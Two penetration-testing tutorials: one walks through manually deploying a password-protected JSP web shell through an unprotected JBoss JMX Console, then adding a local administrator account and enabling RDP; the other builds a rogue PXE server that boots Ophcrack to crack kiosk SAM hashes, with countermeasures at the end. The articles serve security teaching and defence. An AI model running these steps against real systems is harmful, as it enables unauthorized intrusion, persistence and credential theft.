Manually Exploiting JBoss jmx-console

By Tony Lee and Chris Lee

Introduction

This article can almost be looked at as a follow-up to our previous article on Manually Exploiting Tomcat Manager (http://blog.opensecurityresearch.com/2012/09/manually-exploiting-tomcat-manager.html).  However, this time we will discuss how to achieve the same goals, but against JBoss instead.

JavaBeans Open Source Software Application Server (commonly shortened to JBoss) is a very popular open source implementation for handling JavaServer Pages (JSP).  JBoss contains a web accessible administrator page called the JMX Console.  The JMX Console is ironically plagued by the same vulnerability as Apache Tomcat Manager because it is often deployed with default, weak, or even no credentials.  Also comparable to Apache Tomcat Manager, JBoss allows administrators (and attackers) to upload and publish Web application ARchive (WAR) files remotely through this admin console.

A weak, default, or unprotected JMX Console is a very common initial foothold for attackers as they use this to remotely deploy and execute a payload to gain a backdoor to the host.  But how do we detect and exploit this vulnerability?

Vulnerability scanners will detect and identify this particular finding as:

JBoss Administrative Console Security Bypass Vulnerability (in McAfee Vulnerability Manager (MVM))

JBoss JMX Console Unrestricted Access (in Nessus)

Additionally, anyone can find JBoss instances by using resources such as Shodan (www.shodanhq.com) that provide the ability to search for HTTP headers such as:  “x-powered-by” “jboss”

There are a few Metasploit exploits (jboss_maindeployer, jboss_bshdeployer, jboss_invoke_deploy) that are the de facto exploits for this vulnerability and are usually rock solid; however we have seen a few occasions where it will fail with little-to-no explanation.   Additionally, the host may have antivirus (AV) or Host-based Intrusion Prevention System (HIPS) that catches the payload and it may be necessary to upload a custom binary manually instead of using the Metasploit Framework (MSF) to deploy it.  The information below is just one of many possible workarounds.

The major steps in our workaround process are:

• Assess the situation
• Download an alternative shell
• Extract and understand the code
• Create the WAR file
• Create a web server to host the file
• Deploy the WAR file
• Utilize the JSP shell
• Propagate and pillage
• Destroy the shell

Assess the situation

In an ideal world, the exploit should work every time and yield a shell as shown in the screenshot below:

Figure 1:  Successful cmd.exe shell using the jboss_bshdeployer module available in Metasploit

However, in cases where we are not so lucky we need to manually deploy a shell so we can take control of the host.

Our scenario:

• Windows 2008 R2 (64-bit) production box
• Unprotected JMX Console running on the non-standard TCP port 3505
• User Account Control (UAC) enabled
• Tried setting target 1 (for Windows) and we were getting a “404” with all payloads  frustrating….
• Tried automatic target and Java payloads—nothing worked!!

What do we do now?  Let’s do it manually.

Download an alternative shell

In the previous Tomcat article, we downloaded the Laudanum files (which contains the cmd.war file) from:  http://sourceforge.net/projects/laudanum/   (props to Kevin Johnson, Tim Medin, and John Sawyer)

According to the SourceForge page:

“Laudanum is a collection of injectable files, designed to be used in a pentest when SQL injection flaws are found and are in multiple languages for different environments. They provide functionality such as shell, DNS query, LDAP retrieval and others.”

We again tried to utilize the Laudanum shell in this instance and it was not working.  Our first guess was that AV was detecting the shell and that we either needed another shell or we needed to modify the current shell to bypass the detecting signature.  While searching for alternatives, we discovered a slick shell from the RedTeam Pentesting group (https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz).  We used wget as shown below to download the shell:

root@bt:~ # mkdir redteam root@bt:~ # cd redteam root@bt:~/redteam# wget https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz

Extract and understand the code

Before running a tool, it is best practice to try to understand the code.  Even if you are not familiar with the language, use Google and try to understand what the code is doing to the best of your abilities.  This will help you learn how to effectively use the tool and may identify limitations or areas of concern (such as unknowingly backdooring yourself).

root@bt:~/redteam# tar -zxvf redteam-jboss.tar.gz BeanShellDeployer/mkbeanshell.rb WAR/shell.jsp WAR/WEB-INF/web.xml Webconsole-Invoker/webconsole_invoker.rb JMXInvokerServlet/http_invoker.rb JMXInvokerServlet/jmxinvokerservlet.rb jboss_jars/console-mgr-classes.jar jboss_jars/jbossall-client.jar README setpath.sh Rakefile

Create the WAR file

After reviewing the code and understanding how it works, we will now create the WAR file to deploy.

root@bt:~/redteam/WAR# jar cvf fs.war shell.jsp WEB-INF/ added manifest adding: shell.jsp(in = 8527) (out= 2379)(deflated 72%) adding: WEB-INF/(in = 0) (out= 0)(stored 0%) adding: WEB-INF/web.xml(in = 396) (out= 203)(deflated 48%) root@bt:~/redteam/WAR# file fs.war fs.war: Zip archive data, at least v2.0 to extract

Create a web server to host the file

One of the JBoss deployment options is to fetch a WAR file from a remote web server.  This is ideal because we can easily provide this service by using our BackTrack or Kali distribution to fire up a web server to host our file.  As shown below, we first verify that we do not already have a service listening on port 80 and then start up an Apache server.  We verify that the Apache service started by confirming that it is now listening on port 80, and we copy the WAR file to the web root directory for our web server.

root@bt:~# netstat -an | grep :80 root@bt:~# /etc/init.d/apache2 start * Starting web server apache2                           [OK ] root@bt:~# netstat -an | grep :80 tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      root@bt:~/redteam/WAR# cp fs.war /var/www root@bt:~/redteam/WAR#

You should now be able to manually browse to your local webserver to verify the presence of the file:

http://localhost/fs.war

Figure 2:  Creating the WAR file and moving it to the root of the webserver

Deploy the WAR file

Navigate to the JMX Console on the target host (http://IP.Ad.dr.ess:port/jmx-console/) and search for “service=MainDeployer”. 

Figure 3:  Using MainDeployer to do our dirty work

From here you’ll want to utilize the deploy() function since it allows you to enter a URL as a parameter value in java.net.URL.  In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button. 

Figure 4:  Populate deploy() function parameters

Utilize the JSP Shell

Utilize the shell on the target (found at /fs/shell.jsp in our example) to run various situational awareness commands.  Note that the JSP shell from RedTeam Pentesting requires a password.  By default the password is “secret”, unless you modify the shell.jsp ahead of time.

This shell allows you to pass parameters via the URL such as shell.jsp?pass=secret&cmd=whoami.  This may be ideal for scripting commands via wget or an http library in the language of your choosing (Python httplib2 for example).

Figure 5:  Attack runs whoami command to show that they are running with NT AUTHORITY\SYSTEM access

Additionally, the RedTeam shell provides a friendlier forms based page that allows command entry and file upload capabilities if you use the html parameter as shown below:

https://vulnerableserver.com:port?pass=secret&html=true

Figure 6:  Screenshot shows ability to run commands and upload files

This is a fairly intelligent shell that can recognize the operating system (OS) it is executing on.  That said, the Laudanum shell (that we used in the Tomcat article) required us to first specify “cmd.exe /c <command>” for certain commands such as dir, however this shell detects the underlying OS and does that for us automatically.

Propagate and pillage

In the Manually Exploiting Tomcat Manager article, we needed to obtain file transfer capabilities in order to upgrade our shell.  By using the RedTeam Pentesting shell, we already have file transfer capabilities.  Additionally, since in this example JBoss was running as NT AUTHORITY\SYSTEM, we were able to create and add the user to the local Administrators group and utilize RDP to log into the host.

Add a user: net user chris <password> /add Add user to local Administrators group: net localgroup Administrators chris /add Double check to make sure user is in local Administrators group: net localgroup Administrators Enable RDP from the command line (if needed): reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

After using RDP to gain access to the host, we discovered that Symantec Antivirus originally caught and deleted all of our Metasploit payloads and our Laudanum shell.  Luckily, they did not detect our RedTeam Pentesting shell.  ;)  But this is a cat and mouse game.

Destroy the Shell

Once you are finished with the shell, you should remove it so no one else can utilize it.  To do this, complete the following steps:

1. Navigate to the JBoss JMX web console on the target:  http://ip.ad.dr.ess:port/jmx-console/
2. Search for:  “jboss.web.deployment“
3. Find and click the hyperlink for the shell you deployed
4. Find the destroy function and click the invoke button

Attempt to navigate to your shell to ensure that it is undeployed.

Summary

In our classes, we are asked why we often show students three or more different ways to complete a task.  We show the manual and tedious way to accomplish a task and then later show the easy, “one click fire” method.  Metasploit is a powerful framework that simplifies the attacks and adds fantastic functionality, but knowledge of the manual methods is a must—especially when your trusty tools are being blocked and in-depth troubleshooting is not an option.

Props

• https://www.redteam-pentesting.de/publications/2009-11-30-Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN.pdf
• https://www.redteam-pentesting.de/publications/2010-06-15-JBoss-AS-Deploying-WARs-with-the-DeploymentFileRepository-MBean.pdf

For this article and others like it, check out the following magazine:
http://hakin9.org/learn-how-to-perform-advanced-web-attacks-and-exploitation-with-more-than-70-pages-of-hakin9-tutorials/

Contact Info

Tony Lee Linked-in:  http://www.linkedin.com/in/tonyleevt

Chris Lee Linked-in:  www.linkedin.com/in/chrislee804

Special Thanks To

Bill Hau

Dan Dumond

David Pany

Dennis Hanzlik

Glen Edwards

Ian Ahl

Rudolph Araujo

BIOS Security? Build a PXE Attack Server

By Tony Lee and Chris Lee

Introduction

As consultants we are often hired to evaluate the security of kiosks or computers that are designed to interface with the general public.  The most secure configurations are ones that limit user interaction to the file system, command prompts, and the Internet.  One of the best ways to limit user interaction to the hard drive is to lock down the Basic Input/Output System (BIOS) to help prevent booting to alternative Linux distros.  This includes disabling booting to USB devices, locking down the boot order, and password protecting the BIOS.  In various engagements we will run across kiosks that are fairly locked down, but still vulnerable due to a very commonly seen BIOS configuration.  This article discusses how attackers can take advantage of this BIOS setting to allow the Preboot eXecution Environment (PXE) to be an administrator’s best friend and worst enemy.

Outline

• Common attack vectors
• The environment encountered
• Modified attack vector
• Building the evil PXE server
• Bootable attack ISOs
• Virtual PXE server with ISO support
• Build instructions
• Results
• Countermeasures
• Conclusion

Common attack vectors

When assessing kiosks, one of the first things that we test for is the simplest—USB port access.  If the kiosk is in a cabinet—is the cabinet locked?  Are there USB ports on the monitor or keyboard?   Is the kiosk out in plain-sight with USB access galore?  In any case, if we have access to a port, we will check for drive recognition upon boot and also while the system is already running.

If the kiosk is properly secured, developers will have made some attempt to lock down access to the file system.  By doing so they are hoping to prevent access to intellectual property, file shares, configuration files, and access to the Windows Security Account Manager (SAM) files.  One common bypass to file system logins is to boot to a USB drive that is running a lightweight Linux Operating System (OS).  Since the kiosk environment does not have a chance to boot, it does not lockout the attacker.  As a bonus, files that are normally “locked” because they are in use by a running Windows operating system are now unlocked and accessible.

The environment encountered

Some developers take the time to lock down the kiosks.  While booted, the kiosks execute with limited (non-admin) users, they block most command prompts, hide most start menu options, and block access to the file system.  They also take it a step further by disabling USB devices during boot, locking down the boot order, and disabling modification of the BIOS.  However, one thing that we notice is that the kiosk BIOS is usually configured to boot to the network (using PXE) first.  Below is an example of various setups we have encountered.

Figure 1:  Example BIOS that prevents modification and properly disables booting to USB devices

Modified attack vector

Ideally we want access to the file system at boot, but the USB drives are sometimes disabled.  The only other option may be PXE—which all computers in these environments seem to boot to first.  Most system administrators know first-hand how useful PXE (often pronounced “pixie”) capabilities are when rolling out new images or re-imaging existing desktops.  PXE is a network enabled boot environment that leverages a server running DHCP (to provide an IP address to the client), TFTP (to load the bootstrap configuration), and some sort of file share protocol such as NFS to serve up the operating system image files.  The image below illustrates the sequence of events for a PXE boot (http://www.freebsd.org/doc/handbook/advanced-networking/pxe-nfs.png):

Figure 2:  The network flow diagram above shows the typical PXE sequence of events.

Administrators also know that building a PXE server can take time and effort.  Since we typically only have one week for these types of engagements, we needed something flexible, portable, fast, and idempotent to the victim OS.

Building the evil PXE server

Our approach to building the evil PXE server is just one of many conceivable implementations.  This solution was assembled after a few hours of research and troubleshooting.  Thus, we are certain that more graceful options are possible and we would love to get your feedback via our contact information at the end of the article.

There were several important factors which limited our options for the build.  Because we were time constrained, we wanted to find already made solutions that we could adapt and combine.  Due to resource constraints, we wanted something that was portable and could be virtualized.  We also needed to boot to an environment that would not modify the victim OS.  These constraints lead us to a couple options that yield multiple combinations:

1. Pre-built bootable attack images
2. Virtual PXE environment that can boot ISOs

Bootable attack ISOs

This section is really a matter of personal preference and could include any lightweight bootable Linux distro such as Knoppix, BackTrack, Kali, Ophcrack, and even REMnux (known for its forensic capabilities and utilities).  The key is that these images need to be bootable live images that do not rewrite the disk.  Using ISOs with built-in attack tools make the job a little easier.  Since the target in our example was running Windows 7, we are demonstrating PXE booting to an Ophcrack LiveCD with various NT hash rainbow tables.

Ophcrack LiveCDs can be obtained from the following link: http://ophcrack.sourceforge.net/download.php

Ophcrack has three main options:

• ophcrack XP LiveCD: cracks LM hashes (Windows XP and earlier)
• ophcrack Vista LiveCD: cracks NT hashes (Windows Vista and 7)
• ophcrack LiveCD: does not include any tables (if you already downloaded them)

Various free rainbow tables for Ophcrack are available at the following link:

http://ophcrack.sourceforge.net/tables.php

We started with the Vista Free table.

Virtual PXE server with ISO support

While searching for a pre-built virtual PXE server, one result kept appearing—the Ultimate Deployment Appliance (UDA) from Mike Laverick.  This can be downloaded as a VMware virtual machine from the following address:  http://www.ultimatedeployment.org/download.html

The virtual PXE server with attack ISOs should now resemble the following picture:

Figure 3:  Picture of the environment we are trying to build.

Build instructions

Step 1) Download the files mentioned above (UDA  VM and your favorite bootable live ISO – we chose Ophcrack Vista LiveCD for this example because it already had the Vista Free rainbow table in the ISO)

Step 2) Extract the UDA download and open it in your VMware product (player or workstation, etc.).  UDA version 2.0 has an easy to use first boot wizard as shown in the screenshot below—use this to configure the network settings of your PXE server.  The network settings should either match the range of your targets or you can set up an isolated network using a switch, a laptop, and your target.

Figure 4:  Example network settings we used because we set up an isolated environment with only one victim by connecting our laptop and the victim host to a standard home-use switch.

Step 3) Create a place to store the attack images.  We chose to create, format, and add a virtual disk to the UDA virtual image using the instructions below:

Create the virtual disk in VMware: With the UDA VM highlighted  Edit virtual machine settings   Add… button   Hard Disk   Create a new virtual Disk  next   Disk Size (We chose 5GB, but you can pick however much you need)  Next   Finish Log into OS (via the VMware console or SSH): User: root Password:  <whatever you set in the setup> Partition, format, and mount the disk: [root@UDA ~]# fdisk -l You will probably see your newly created disk show up as /dev/sdb [root@UDA ~]# fdisk /dev/sdb press “n” - to add a New partition press “p” – for primary partition press “1” – for partition number press “enter” – to accept the rest of the defaults w - to write the table and exit [root@UDA ~]# fdisk -l /dev/sdb [root@UDA ~]# mkfs.ext3 /dev/sdb1 [root@UDA ~]# mkdir /ISOs [root@UDA ~]# mount /dev/sdb1 /ISOs/ Prep for image upload: [root@UDA ~]# mkdir /ISOs/OphcrackNT

Step 4) Upload the bootable attack images to our new /ISOs/ directory via WinSCP, Filezilla, or other SCP program

Figure 5:  Using WinSCP to copy our Ophcrack bootable ISO to the directory we just created

Step 5) Mount the ISO via the loop option

[root@UDA ~]# mount –o loop /ISOs/<Ophcrack.iso> /ISOs/OphcrackNT/

You should now be able to verify that you can see the Ophcrack ISO contents (this includes the Vista Free rainbow table in our case):

[root@UDA ~]# ls /ISOs/OphcrackNT

Figure 6:  Screenshot that shows proper ISO mount with rainbow tables

Step 6) Create an export entry for additional Ophcrack Rainbow tables

[root@UDA ~]# vi /etc/export

Add the following line to /etc/export:

/ISOs/OphcrackNT/tables *

[root@UDA ~]# /etc/init.d/nfs restart

If you need additional rainbow tables, download them from the Ophcrack site and use WinSCP or a similar program to upload them to /ISOs/OphcrackNT/tables

Step 7) Create a symbolic link to our new ISO directory for the UDA web interface:

[root@UDA ~]# cd /var/public/smbmount/local

[root@UDA ~]# ln -s /ISOs/ ISOs

Step 8) Configure the PXE config options to include your attack image.  This is where we could not find instructions on how to configure the PXE to mount the ISO.  Even though our method worked—it is probably not the most graceful.

On your host OS (not VM):

Use 7zip or similar program to extract the kernel and initrd files from the Ophcrack image:

Kernel is:  ophcrack-vista-livecd-3.4.0.iso\boot\bzImage

Initrd is:  ophcrack-vista-livecd-3.4.0.iso\boot\rootfs.gz

Use browser to navigate to the IP you chose in the setup:

User: admin

Password:  <whatever you set in the setup>

Setup the Operating System:

Click the OS tab   Name it something descriptive   Choose Manual Configuration for the Operating System    click Next

Figure 7:  Screenshot of creating the OS to connect offer up

On the next screen, you will select the kernel and initrd file you extracted to your host OS then click Finish.

Figure 8:  Manual deployment configuration

Setup the PXE boot Menu (create a template):

    Click on the Templates tab   Click the New button   Fill out the information as shown below:

    Template name:  OphcrackNT

    Description:  Ophcrack with NT Rainbow Tables

    Operation System:  Manual Configuration

    Flavor:  OphNT

    Click Next  then finish

Figure 9:  Creating the template

Figure 10:  Confirming the template options

You are now ready to boot to your PXE attack server.

Results

On-site, we usually setup a separate network using a home-use switch to prevent us from disturbing any other hosts on the client network that happen to reboot while we are connected.

Figure 11:  Environment that we created

Since you would recognize some of the kiosks we have tested in the past, we will show you pictures from our test environment below:

Once networked, boot the victim and allow it to obtain an IP address from our PXE server:

Figure 12:  Picture showing the three critical components—Attacker, victim, and switch

Select our Ophcrack image in the PXE boot menu:

Figure 13:  Picture showing the PXE boot menu

Log in by hitting enter and you will see a message stating that the rainbow tables were not found.  No problem, we shared them via NFS.

Figure 14:  Booted into the OS, but no tables were found

Spawn command shell - top left icon on the screen

su -   (password is root)

mkdir /tables

mount -o nolock -t nfs 192.168.100:/ISOs/OphcrackNT/tables /tables

Double click "Ophcrack" icon

Load the victim’s SAM:

Load button -> Encrypted SAM

/media/sda1/windows/system32/config -> Choose button

Load our mounted rainbow tables:

Tables button

Select table ("Vista free" in our case) -> Install button -> /tables/vista_free -> Choose button -> Ok button

Start the Crack:

Click the Crack Button

Now, you will see the tables being loaded into RAM and with a little luck the password will be cracked.

Figure 15:  The picture above shows the tables being loaded mounted, the hashes loaded, and the password cracked.

Note that even if you are not able to crack the password, you still have hashes.  You could use a tool such as Metasploit’s psexec module to pass the hash and obtain access to the host.

Countermeasures

We have illustrated a proof of concept attack that will work against an environment that has a locked down BIOS, but still boots to PXE first.  What can organizations do to prevent this attack?  It will most likely come down to a layered defense which may include some or all of the following:

• Disable PXE boot if not required
• Port security on the switches to prevent unknown hosts from connecting
• Protect network port access to kiosks
• Protect the power to kiosks
• Full disk encryption on the kiosks – we would not have been able to decrypt the drive to see the SAM or any other sensitive files

Conclusion

We have shown you what is possible when an environment has the BIOS locked down, but is still set to boot to PXE first.  Using our proof of concept, you can quickly build this PXE attack server and test your vulnerability to this attack vector.  As mentioned before, this was the result of a few hours of research and troubleshooting.  We are open to any feedback on how to make this work more fluently (particularly the section which pertains to having PXE boot the ISO) or another solution if you have one that is more graceful.  Thanks for reading and happy hacking!

Email:  Tony.Lee -at- FireEye.com Linked-in:  http://www.linkedin.com/in/tonyleevt

Email:  Chris.Lee -at- Foundstone.com Linked-in:  www.linkedin.com/in/chrislee804

This article and others like it will be featured in the upcoming Hakin9 magazine released at the end of July:  http://hakin9.org/bios-security-learn-how-to-protect-your-system-and-become-a-proffessional-security-expert/

Special Thanks to

Bill Hau

David Pany

Dan Dumond

Dennis Hanzlik

Glen Edwards

Ian Ahl

Rudolph Araujo